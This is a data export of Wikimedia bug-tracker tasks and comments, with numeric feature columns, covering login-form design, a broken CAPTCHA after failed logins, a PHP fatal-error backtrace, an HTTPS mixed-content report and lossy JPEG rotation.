I'll re-open the bug with the new assignee; if you feel it's really in the way here, close it again. We'll figure out another solution, then.",,,1366969227,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,1.0,2.5,1.0,0.0,0.0,1.0,1.0,3.5,0.0,0.0,0.0,4.5,0.0,8.0,7.5,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,2.0,0.0,4.5,1.0,2.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,9.5,1.5,0.5,1.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.5,0.0,1.0,0.0,0.0,0.0,5.5,1.5,7.0,1.0,1.5,8.5,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,7.5,2.0,1.0,0.0,0.0,8.0,0.0,1.0,2.0,0.5,1.0,0.0,0.0,0.0,3.5083333333333337,0.825,"I have passed on responsibility for this a while ago, but i'll try to poke the relevant people, and help them fix it (I'm pretty sure this was my mistake).

Adding Silke Meyer (who is technically responsible) and Kai Nissen (who has been managing the site).
SCREEN_NAME: WMDE doesn't have a bug tracker for stuff like this, perhaps we could just get a product here? 

I'll re-open the bug with the new assignee; if you feel it's really in the way here, close it again. We'll figure out another solution, then."
226811,wikimedia.de via HTTPS loads resources over HTTP,"This isn't the right place for this. WMF doesn't host the wikimedia.de wiki.

I note Daniel is CC'd on this bug",,,1366938732,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,19.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5384615384615383,0.8076923076923077,"This isn't the right place for this. WMF doesn't host the wikimedia.de wiki.

I note Daniel is CC'd on this bug"
49600,"Rename ""MediaWiki > User login"" to ""MediaWiki > User login and signup""","Pasting an email from Matthew Flaschen here:

Steven Walling suggests that the MW ""User login"" component is meant to
include signup.  There are definitely signup-related things at
https://bugzilla.wikimedia.org/buglist.cgi?list_id=196453&resolution=---&resolution=LATER&resolution=DUPLICATE&query_format=advanced&component=User%20login&product=MediaWiki

So could you rename ""User login"" to ""User login and signup""?

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1366792260,1366792348.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,False,PHID-TASK-442m7atnjsqrr5wgpwtv,task_description,resolved,True,c2,1,True,False,True,-18,True,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,7.0,8.0,1.0,8.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.8133333333333335,0.64,"Pasting an email from Matthew Flaschen here:

Steven Walling suggests that the MW ""User login"" component is meant to
include signup.  There are definitely signup-related things at
URL

So could you rename ""User login"" to ""User login and signup""?

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
223459,"Rename ""MediaWiki > User login"" to ""MediaWiki > User login and signup""",Done.,,,1366792348,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-442m7atnjsqrr5wgpwtv,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,Done.
49392,Move signup call to action in new login,"**Author:** `usermono`

**Description:**
This is a design suggestion: move the create account call to action in the new ACUX user login page to the right. This would help fill the massive white space there.

See http://awesomescreenshot.com/0a316de0b2 for a visual demo.

One other idea would be to center everything to even out that white space. Also the language selector should be moved to the sidebar like all other Commons pages or somewhere else - it doesn't fit with the minimalist look here.

It just seems a little bland with all that white. A border/shadow around the login box if it's centered might do the trick. Another idea would be to add a huge picture in that space with the CTA there, similar to http://outlook.com

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1366328820,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-u5tlqpbpzwm6vtcyapeq,task_description,open,True,c2,1,False,False,,-19,True,1.0,0.5,0.0,0.5,0.5,8.0,1.5,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,9.5,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.5,0.0,2.5,0.5,2.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,17.0,1.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,8.0,2.0,10.0,0.5,0.5,12.5,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,2.0,9.5,2.5,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.802710843373494,0.7127796901893287,"**Author:** CODE

**Description:**
This is a design suggestion: move the create account call to action in the new ACUX user login page to the right. This would help fill the massive white space there.

See URL for a visual demo.

One other idea would be to center everything to even out that white space. Also the language selector should be moved to the sidebar like all other Commons pages or somewhere else - it doesn't fit with the minimalist look here.

It just seems a little bland with all that white. A border/shadow around the login box if it's centered might do the trick. Another idea would be to add a huge picture in that space with the CTA there, similar to URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
210618,Move signup call to action in new login,"**massaf** wrote:

Agreed with Steven. It's a good idea and we should test it. Sadly, we're a little constrained on visual treatments in general because whatever we have to do needs to look right in a full-screen layout (not to mention not break the Vector/MonoBook look and feel too drastically). 

Re: Borders
We're trying to avoid borders on UI elements if we can (Wikipedia is already very boxy and can trigger some claustrophobia if we're not careful), but light separators might be workable.

http://i.imgur.com/W9SDoNx.png",,,1366665310,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-u5tlqpbpzwm6vtcyapeq,task_subcomment,,True,c2,1,False,,,-19,True,1.0,0.0,1.0,0.0,2.0,6.5,1.0,0.5,0.0,2.0,1.0,2.5,0.0,0.0,0.0,4.0,0.0,6.5,8.5,0.0,2.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,2.5,0.0,0.0,6.0,1.0,1.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,9.0,2.5,3.0,4.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,5.0,8.5,5.5,0.0,0.0,0.0,5.0,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,3.767857142857143,0.8214285714285714,"**massaf** wrote:

Agreed with Steven. It's a good idea and we should test it. Sadly, we're a little constrained on visual treatments in general because whatever we have to do needs to look right in a full-screen layout (not to mention not break the Vector/MonoBook look and feel too drastically). 

Re: Borders
We're trying to avoid borders on UI elements if we can (Wikipedia is already very boxy and can trigger some claustrophobia if we're not careful), but light separators might be workable.

URL"
210611,Move signup call to action in new login,"**swalling** wrote:

I think the placement and style of the signup call to action is something we should potentially A/B test post-launch to measure the effectiveness of different placements. I agree there is a lot of whitespace in the login form currently.",,,1366329565,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-u5tlqpbpzwm6vtcyapeq,task_subcomment,,True,c2,1,False,,,-19,True,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,0.0,4.0,11.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,4.0,7.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,11.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.018518518518518,0.7777777777777778,"**swalling** wrote:

I think the placement and style of the signup call to action is something we should potentially A/B test post-launch to measure the effectiveness of different placements. I agree there is a lot of whitespace in the login form currently."
49371,badlogin CAPTCHA doesn't work in new login form,"The new vertical login form moves the header contents (if any) out of the form. This means that the captcha that appears (by default after three bad login attempts) doesn't work!

To reproduce, visit http://www.mediawiki.org/w/index.php?title=Special:UserLogin&useNew=1 and enter a bad password.

--------------------------
**Version**: 1.22.0
**Severity**: normal
**URL**: http://www.mediawiki.org/w/index.php?title=Special:UserLogin&useNew=1 ",Medium,50.0,1366311660,1384297088.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-5llfshvnwdujihciihfy,task_description,resolved,True,c2,1,False,False,True,-19,True,1.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,20.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,11.0,3.0,1.0,9.0,0.0,0.0,1.0,0.0,5.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5526315789473686,0.6447368421052632,"The new vertical login form moves the header contents (if any) out of the form. This means that the captcha that appears (by default after three bad login attempts) doesn't work!

To reproduce, visit URL and enter a bad password.

--------------------------
**Version**: 1.22.0
**Severity**: normal
**URL**: URL "
209327,badlogin CAPTCHA doesn't work in new login form,"(In reply to comment #4)
> The captcha just got removed right ?
No, it's still there, try to login several times with the wrong password.

Yes, this is fixed reasonably well for most CAPTCHA options. Thanks MZMcBride for following up.",,,1384297088,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-5llfshvnwdujihciihfy,task_subcomment,,True,c2,3,False,,,10,True,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,2.0,15.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.6382978723404253,0.851063829787234,"(In reply to comment #4)
QUOTE
No, it's still there, try to login several times with the wrong password.

Yes, this is fixed reasonably well for most CAPTCHA options. Thanks MZMcBride for following up."
209322,badlogin CAPTCHA doesn't work in new login form,"(In reply to comment #2)
> Related URL: https://gerrit.wikimedia.org/r/59993 (Gerrit Change
> I1523fe6551585ba731b0ca4207e22d614d0a46d8)

Merged.

(In reply to comment #3)
> Related URL: https://gerrit.wikimedia.org/r/60792 (Gerrit Change
> I1523fe6551585ba731b0ca4207e22d614d0a46d8)

Merged.

What's left to do here?",,,1384261886,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-5llfshvnwdujihciihfy,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,5.0,0.0,0.0,13.0,10.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6923076923076925,0.5128205128205128,"(In reply to comment #2)
QUOTE
QUOTE

Merged.

(In reply to comment #3)
QUOTE
QUOTE

Merged.

What's left to do here?"
209314,badlogin CAPTCHA doesn't work in new login form,The captcha just got removed right ?,,,1384184613,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-5llfshvnwdujihciihfy,task_subcomment,,True,c2,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,The captcha just got removed right ?
209307,badlogin CAPTCHA doesn't work in new login form,Related URL: https://gerrit.wikimedia.org/r/60792 (Gerrit Change I1523fe6551585ba731b0ca4207e22d614d0a46d8),,,1366865934,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5llfshvnwdujihciihfy,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I1523fe6551585ba731b0ca4207e22d614d0a46d8)
209300,badlogin CAPTCHA doesn't work in new login form,Related URL: https://gerrit.wikimedia.org/r/59993 (Gerrit Change I1523fe6551585ba731b0ca4207e22d614d0a46d8),,,1366365751,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5llfshvnwdujihciihfy,task_subcomment,,True,c2,1,False,,,-19,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I1523fe6551585ba731b0ca4207e22d614d0a46d8)
209293,badlogin CAPTCHA doesn't work in new login form,Munaf and I figured out how to put it back in the form yet avoid Agora styling arbitrary CAPTCHA fields. Patches for both login and create account coming.,,,1366313488,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-5llfshvnwdujihciihfy,task_subcomment,,True,c2,1,False,,,-19,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,3.0,7.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,13.0,10.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,4.233333333333333,0.9333333333333333,Munaf and I figured out how to put it back in the form yet avoid Agora styling arbitrary CAPTCHA fields. Patches for both login and create account coming.
49138,"Argument 1 passed to LoginForm::userBlockedMessage() must be an instance of Block, null given","[11-Apr-2013 19:45:54] Catchable fatal error: Argument 1 passed to LoginForm::userBlockedMessage() must be an instance of Block, null given, called in /usr/local/apache/common-local/php-1.22wmf1/includes/specials/SpecialUserlogin.php on line 829 and defined at /usr/local/apache/common-local/php-1.22wmf1/includes/specials/SpecialUserlogin.php on line 964
Server: mw1076
Method: POST
URL: http://meta.wikimedia.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Link/a/b&returntoquery=type=signup
Backtrace:
#0 /usr/local/apache/common-local/php-1.22wmf1/includes/specials/SpecialUserlogin.php(964): LoginForm::userBlockedMessage()
#1 /usr/local/apache/common-local/php-1.22wmf1/includes/specials/SpecialUserlogin.php(829): LoginForm->userBlockedMessage(NULL)
#2 /usr/local/apache/common-local/php-1.22wmf1/includes/specials/SpecialUserlogin.php(184): LoginForm->processLogin()
#3 /usr/local/apache/common-local/php-1.22wmf1/includes/SpecialPage.php(613): LoginForm->execute(NULL)
#4 /usr/local/apache/common-local/php-1.22wmf1/includes/SpecialPageFactory.php(486): SpecialPage->run(NULL)
#5 /usr/local/apache/common-local/php-1.22wmf1/includes/Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#6 /usr/local/apache/common-local/php-1.22wmf1/includes/Wiki.php(565): MediaWiki->performRequest()
#7 /usr/local/apache/common-local/php-1.22wmf1/includes/Wiki.php(458): MediaWiki->main()
#8 /usr/local/apache/common-local/php-1.22wmf1/index.php(59): MediaWiki->run()
#9 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apac...')
#10 {main}

--------------------------
**Version**: 1.22.0
**Severity**: normal",Medium,50.0,1365713760,1366018929.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,,False,PHID-TASK-4q5arosva5i55ggp6usk,task_description,resolved,True,c2,1,True,False,True,-20,True,0.0,0.0,0.0,0.0,0.0,10.25,0.25,0.0,0.0,0.0,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.25,0.0,0.25,0.75,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,12.75,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.25,8.5,0.0,0.25,0.25,0.0,0.0,0.0,3.0,0.25,0.0,7.5,0.0,0.0,1.5,5.5,0.0,0.25,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.25,4.425525210084033,0.4140056022408964,"[11-Apr-2013 19:45:54] Catchable fatal error: Argument 1 passed to LoginForm::userBlockedMessage() must be an instance of Block, null given, called in /usr/local/apache/common-local/php-1.22wmf1/includes/specials/SpecialUserlogin.php on line 829 and defined at /usr/local/apache/common-local/php-1.22wmf1/includes/specials/SpecialUserlogin.php on line 964
Server: mw1076
Method: POST
URL: URL
Backtrace:
#0 /usr/local/apache/common-local/php-1.22wmf1/includes/specials/SpecialUserlogin.php(964): LoginForm::userBlockedMessage()
#1 /usr/local/apache/common-local/php-1.22wmf1/includes/specials/SpecialUserlogin.php(829): LoginForm->userBlockedMessage(NULL)
#2 /usr/local/apache/common-local/php-1.22wmf1/includes/specials/SpecialUserlogin.php(184): LoginForm->processLogin()
#3 /usr/local/apache/common-local/php-1.22wmf1/includes/SpecialPage.php(613): LoginForm->execute(NULL)
#4 /usr/local/apache/common-local/php-1.22wmf1/includes/SpecialPageFactory.php(486): SpecialPage->run(NULL)
#5 /usr/local/apache/common-local/php-1.22wmf1/includes/Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#6 /usr/local/apache/common-local/php-1.22wmf1/includes/Wiki.php(565): MediaWiki->performRequest()
#7 /usr/local/apache/common-local/php-1.22wmf1/includes/Wiki.php(458): MediaWiki->main()
#8 /usr/local/apache/common-local/php-1.22wmf1/index.php(59): MediaWiki->run()
#9 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apac...')
#10 {main}

--------------------------
**Version**: 1.22.0
**Severity**: normal"
220692,"Argument 1 passed to LoginForm::userBlockedMessage() must be an instance of Block, null given","Patch in Gerrit was merged and will be part of 1.22wmf2 - see https://www.mediawiki.org/wiki/MediaWiki_1.22/Roadmap for when this version will be deployed on which Wikimedia servers. 

Marking as RESOLVED FIXED.",,,1366018929,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4q5arosva5i55ggp6usk,task_subcomment,,True,c2,1,True,,,-20,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,22.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,16.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,4.15625,0.90625,"Patch in Gerrit was merged and will be part of 1.22wmf2 - see URL for when this version will be deployed on which Wikimedia servers. 

Marking as RESOLVED FIXED."
220688,"Argument 1 passed to LoginForm::userBlockedMessage() must be an instance of Block, null given",Related URL: https://gerrit.wikimedia.org/r/59085 (Gerrit Change I43f35cfa342737f05a08a693a86949c14348321f),,,1365972619,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4q5arosva5i55ggp6usk,task_subcomment,,True,c2,1,False,,,-20,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I43f35cfa342737f05a08a693a86949c14348321f)
48549,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"I don't know whether it is really a bug or just some JPEG-encoding-internal-strangeness

Test at https://commons.wikimedia.org/wiki/File:Bot-Test.jpg

API query at:
https://commons.wikimedia.org/w/api.php?action=query&prop=info|imageinfo&iiprop=size|comment&titles=File:Bot-Test.jpg&iilimit=5

Start size: 324829; then, after first rotation 281901, then 275364, then 270655 and finally after 4 rotations just 268076 Bytes:

  <ii size=""268076"" width=""512"" height=""512"" comment=""Bild um 90 Grad im Uhrzeigersinn gedreht"" />
  <ii size=""270655"" width=""512"" height=""512"" comment=""Bild um 270 Grad im Uhrzeigersinn gedreht"" />
  <ii size=""275364"" width=""512"" height=""512"" comment=""Bild um 270 Grad im Uhrzeigersinn gedreht"" />
  <ii size=""281901"" width=""512"" height=""512"" comment=""Bild um 90 Grad im Uhrzeigersinn gedreht"" />
  <ii size=""324829"" width=""512"" height=""512"" comment=""Reverted to version as of 18:08, 29 November 2012"" />

Expected result: After 360° rotation and if the image is not cropped, the file size is supposed to be the same.

Why isn't simply the Metadata of the file manipulated (the EXIF-Orientation-tag). The image-scalers would do the remaining work.

--------------------------
**Version**: 1.21.x
**Severity**: normal
**See Also**:
https://rt.wikimedia.org/Ticket/Display.html?id=4821
https://bugzilla.wikimedia.org/show_bug.cgi?id=36221",Medium,50.0,1364245080,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-n43webutsmwcx4hychhq,task_description,open,True,c2,1,False,False,,-23,True,0.3333333333333333,0.0,0.0,0.6666666666666666,1.0,1.6666666666666667,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,1.6666666666666667,0.0,4.666666666666667,4.666666666666667,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,3.3333333333333335,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,9.666666666666666,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,2.0,11.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,1.6666666666666667,1.3333333333333333,4.666666666666667,0.0,2.0,4.666666666666667,12.333333333333334,0.0,6.666666666666667,0.0,2.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,2.0,3.894308943089431,0.5934959349593495,"I don't know whether it is really a bug or just some JPEG-encoding-internal-strangeness

Test at URL

API query at:
URL

Start size: 324829; then, after first rotation 281901, then 275364, then 270655 and finally after 4 rotations just 268076 Bytes:

  <ii size=""268076"" width=""512"" height=""512"" comment=""Bild um 90 Grad im Uhrzeigersinn gedreht"" />
  <ii size=""270655"" width=""512"" height=""512"" comment=""Bild um 270 Grad im Uhrzeigersinn gedreht"" />
  <ii size=""275364"" width=""512"" height=""512"" comment=""Bild um 270 Grad im Uhrzeigersinn gedreht"" />
  <ii size=""281901"" width=""512"" height=""512"" comment=""Bild um 90 Grad im Uhrzeigersinn gedreht"" />
  <ii size=""324829"" width=""512"" height=""512"" comment=""Reverted to version as of 18:08, 29 November 2012"" />

Expected result: After 360° rotation and if the image is not cropped, the file size is supposed to be the same.

Why isn't simply the Metadata of the file manipulated (the EXIF-Orientation-tag). The image-scalers would do the remaining work.

